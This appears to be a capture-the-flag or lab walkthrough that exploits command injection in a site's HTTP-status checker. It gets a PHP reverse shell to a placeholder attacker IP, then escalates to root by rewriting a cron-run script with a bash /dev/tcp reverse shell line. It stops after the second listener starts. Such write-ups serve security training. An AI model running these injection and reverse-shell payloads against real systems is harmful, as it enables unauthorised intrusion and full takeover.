2.2 KiB
We are given a site where we can check the status of websites.
Entering a valid URL such as https://google.com will return us the HTTP status code as seen in the following screenshot.
Entering a semi-colon (;) will break the command. We can try to use the payload ; whoami and we are returned www-data as our user as seen in the following screenshot.
We can attempt to spawn a reverse shell by first having netcat listen on our desired port. In this example, the port will be 45101 and the netcat command will be nc -nlvp 45101 as seen in the following screenshot.
Once its listening on the port, we can use the following payload to spawn the reverse shell. Replace "YOUR-IP-HERE" with your IP address.
; php -r '$sock=fsockopen("YOUR-IP-ADDRESS",45101);exec("/bin/sh -i <&3 >&3 2>&3");'
Input the above payload into the input box as seen in the following screenshot.
Click on the "Check HTTP Status" and observe that the website has hung. Return to the netcat session and observe that we have gotten a shell as seen in the following screenshot.
We can spawn an interactive shell using the command script -qc /bin/bash /dev/null. Once done, we can explore the system. Navigating to the /var/www/ directory and we can see 2 files.
The files are:
- backup.sh - Owned by the root user.
- my-script.sh - Owned by the www-data user.
We can see that the backup.sh file runs the my-script.sh file as sudo, effectively running as the root user.
Using the command cat /etc/crontab, we can see that there is a cronjob that runs the backup.sh file every minute. We can abuse this by changing the contents of the my-script.sh file.
As we own the my-script.sh file, we can modify it to spawn a reverse shell using the following commands:
echo '#/bin/bash' > my-script.sh
echo 'bash -i >& /dev/tcp/YOUR-IP-HERE/PORT-HERE 0>&1' >> my-script.sh
Replace YOUR-IP-HERE with your IP address and PORT-HERE with your desired port number. Once done, start another netcat listener on the port that was chosen in the above command. In this example, it will be 45102 as seen in the following screenshot.